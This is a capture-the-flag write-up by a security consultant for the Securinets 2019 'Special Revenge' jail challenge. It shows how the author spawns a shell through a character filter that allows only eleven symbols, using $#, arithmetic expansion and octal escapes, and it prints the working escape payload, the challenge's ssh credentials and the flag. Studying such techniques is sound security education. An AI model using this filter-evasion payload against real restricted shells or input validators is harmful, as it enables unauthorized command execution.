Securinets CTF Quals 2019 Special Revenge

Securinets CTF Quals 2019 - Special Revenge WriteUp

Challenge details

EventChallengeCategoryPointsSolves
Securinets CTF Quals 2019Special RevengePWN10005

Description

After the disappointment of last year challenge “special”, I came this year with a mystery revenge.

ssh special@51.254.114.246

password : b8f07e1000c719c6a7febde4ec0ab24d

Author : Anis_Boss

Another jail escape challenge, we were provided with ssh login (username special).

After being logged in to the server we will get this welcome message, and a prompt where we can type our command.

================================
   Welcome to Special Revenge
================================
||     ||<(.)>||<(.)>||     ||
||    _||     ||     ||_    ||
||   (__D     ||     C__)   ||
||   (__D     ||     C__)   ||
||   (__D     ||     C__)   ||
||   (__D     ||     C__)   ||
||     ||     ||     ||     ||
================================
     Securinets - Quals
================================
>>

As expected we can execute the usual command in this very restricted shell (ls, cat, id), also we didn’t get any error message by typing these commands.

>> ls
>> id
>> cat /etc/passwd
>> echo helloooooo

I tried to escape this jail by sending interrupt signal (CTRL+Z) since this a ssh session, and I got this message "Hemm, nice one but you can't escape", it seems that signal handler are altered by the jail script.

Then I typed all alphanumeric characters to see if there any filters or a whitelist for words/characters, and got this very helpful error message.

>> 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
./mystery.sh: line 29: 1: command not found

which means that all the alphanumeric charset is filtered except 1 (1: command not found), and the jail script is executing the filter input at the end.

I also did some tests to see if there are any allowed special characters, because with only 1 there are no way to escape this jail, each time I put 1 at the beginning and at the end and see what left between them.

>> 1~`/;@#1
./mystery.sh: line 29: 1#1: command not found

This means that ~`/;@ are filtered while # is allowed.

After few attempts, I figure out that only these characters are allowed 1<\"#$'(){}

So how can we escape this jail using just these 11 chars !!!!.

Objective

Our objective is escaping this jail, How ??, by executing /bin/sh or just sh for short to spawn a shell, or by typing break to break the loop, …

the easiest one is spawning a shell by executing the sh command, so we need to build the sh string using the allowed characters.

Our Arsenal

Despite the fact that all alphabetic are filtered, we have quit a few tricks at our disposal that we can use to build any command.

$# # number of arguments, evaluates as 0 in this case
$((expr)) # evaluate an arithmetic expression
$'\116' # convert octal to a character in string literal

The 1st trick: $# evaluates as 0

>> $#
./mystery.sh: line 29: 0: command not found

So we have 1 and 0 in our hands, what come in my mind first was binary, since everything is built upon binary we can for sure build anything using these two lovely characters.

The 2nd trick: $((expr)) will evaluate the arithmetic expression expr and return the result.

#examples
$ echo $((1+1))     # addition
2
$ echo $((6-1))     # subtraction
5
$ echo $((2*3))     # multiplication
6
$ echo $((6/2))     # division
3
$ echo $((2<<4))    # shift left
32
$ echo $((32>>4))   # shift right
2
$ echo $((2#1010))  # convert binary value to decimal
10

The last one is what we need, but we don’t have the character 2.

Fortunately we can get 2 just by shifting left 1 by one bit

$ echo $((1<<1))
2
# $((1<<1)) => 2
# $# => 0
# $(($((1<<1))#1$#1$#))  => $((2#1010)) => 10
echo $(($((1<<1))#1$#1$#))
10

The 3rd trick, $'\116' convert the octal value 116 to a character N in string literal.

$ echo $'\163'$'\150'
sh

Remark

I noticed that the input will be evaluate recursively twice, something like eval(eval(INPUT)).

When I run \$\'\\1$#1\' in my bash I get this:

$ \$\'\\1$#1\'
bash: $'\101': command not found

but when running the same input in the jail, I get this:

>> \$\'\\1$#1\'
/opt/mystery.sh: line 29: A: command not found

Putting the Pieces Together

\$\'\\$(($((1<<1))#1$#1$#$#$#11))\'\$\'\\$(($((1<<1))#1$#$#1$#11$#))\'
# 1st evaluation
=> \$\'\\$((2#10100011))\'\$\'\\$((2#10010110))\'
=> \$\'\\163\'\$\'\\150\'
=> $'\163'$'\150'
# 2nd evaluation
=> sh
>> \$\'\\$(($((1<<1))#1$#1$#$#$#11))\'\$\'\\$(($((1<<1))#1$#$#1$#11$#))\'
$ id
uid=1015(special) gid=1015(special) groups=1015(special)
$ ls -la
total 28
dr-xr-xr-x  2 special special 4096 Mar 22 02:02 .
drwxr-xr-x 22 root    root    4096 Mar 24 10:18 ..
-rw-r--r--  1 special special  220 Sep  1  2015 .bash_logout
-rw-r--r--  1 special special 3771 Sep  1  2015 .bashrc
-rw-r-----  1 root    special   47 Mar 22 02:02 flag.txt
-rw-r-x---  1 root    special  752 Mar 22 01:55 mystery
-rw-r--r--  1 special special  655 May 16  2017 .profile
$ cat flag.txt
securinets{bash_never_stop_from_being_awesome}

Conclusion

Jail challenges are always painful at the beginning, so they require more patient than usual challenges. A good understanding of the shell environment and built-ins can be handful in scenarios like this one.

FLAG: securinets{bash_never_stop_from_being_awesome}

Avatar
Bilal Retiat
Cyber Security Consultant

Thinking bad and doing good while keeping things simple. I’m Bilal Retiat, a Cyber Security Consultant, A perpetual learner who enjoys building and breaking things with an appetite for sharing and spreading knowledge.

comments powered by Disqus